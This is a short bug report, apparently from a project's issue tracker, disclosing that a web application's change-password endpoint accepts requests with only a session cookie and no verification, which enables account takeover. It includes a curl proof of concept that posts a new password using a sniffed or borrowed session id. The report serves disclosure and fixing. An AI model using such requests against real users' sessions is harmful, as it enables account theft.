BUG: Password change without verification

[maxemann96]

With a known session id (from myself or sniffed), it is possible to change the password without any confirmation. In combination with Issue #26 it is possible to steal a complete user account without (direct) knowledge of the user (For example if the user left the session open on a public computer).

The following curl command outlines this:

curl --request POST \
  --url http://127.0.0.1:8080/api/account/change_password \
  --header 'content-type: application/json' \
  --cookie JSESSIONID={{ YOUR SESSION ID }} \
  --data '{{ NEW_PASSWORD }}'